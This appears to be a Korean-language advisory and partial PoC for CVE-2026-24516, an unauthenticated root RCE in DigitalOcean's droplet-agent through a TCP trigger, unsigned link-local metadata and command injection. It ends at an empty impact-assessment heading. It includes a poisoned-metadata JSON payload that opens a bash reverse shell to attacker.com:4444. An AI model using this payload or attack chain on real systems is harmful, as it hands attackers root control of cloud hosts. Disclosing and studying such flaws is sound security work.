
CVE-2026-24516 기술 분석 및 PoC: DigitalOcean Droplet Agent의 인증되지 않은 루트 원격 코드 실행 (CVSS 10.0).
ID: CVE-2026-24516
제목: 메타데이터 포이즈닝 및 사이드 채널을 통한 인증되지 않은 루트 RCE
심각도: 치명적 (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
연구자: Anmol Singh Rajput (@poxsky)
영향 범위: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
'droplet-agent'는 원격 텔레메트리 및 진단을 위해 설계된 권한 있는 시스템 데몬(UID 0)입니다. 특정 신호 시퀀스가 수신될 때까지 수동 모니터링 상태를 유지합니다. 핵심 취약점은 링크-로컬 메타데이터 서비스(169.254.169.254)의 "암묵적 신뢰 모델"에 있으며, 이는 암호학적 무결성 검사를 결여하고 있습니다.
A. 수동적 TCP 사이드 채널 (신호 계층) 에이전트는 포트 22에서 원시 소켓 리스너(internal/metadata/watcher/ssh_watcher.go)를 사용합니다. TCP 헤더의 하드코딩된 매직 상수를 기반으로 IDLE에서 ACTIVE로 상태 전환을 수행합니다:
분석: 이는 결정론적 트리거를 생성합니다. 외부 공격자는 이러한 매직 값을 가진 단일 TCP SYN 패킷을 스푸핑하여 인프라 제어 플레인을 가장할 수 있습니다.
B. 신뢰 경계 위반 (링크-로컬 결함) 신호가 수신되면 에이전트는 클라우드 메타데이터 엔드포인트에서 JSON 명령을 가져옵니다. 취약점은 진위 검증 부재입니다. 에이전트는 169.254.169.254 영역을 "강화된 신뢰 영역"으로 취급하여 페이로드 서명(HMAC/mTLS)을 검증하지 않습니다.
C. 싱크: 살균되지 않은 명령 주입 'TroubleshootingActioner'(internal/troubleshooting/actioner/actioner.go)에는 'requesting' 배열을 파싱하는 싱크가 포함되어 있습니다.
가장: 공격자는 호스팅된 애플리케이션에서 SSRF를 식별하여 링크-로컬 메타데이터 서비스로 요청을 프록시합니다.
포이즈닝: 공격자는 다음을 반환하는 악성 메타데이터 서버를 설정합니다: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
노크: 공격자는 포트 22로 "DODO-TTY" TCP 트리거를 전송합니다.
실행: 에이전트는 포이즈닝된 JSON을 가져와 유효 UID 0 (루트)으로 리버스 셸을 실행합니다.
영향 평가
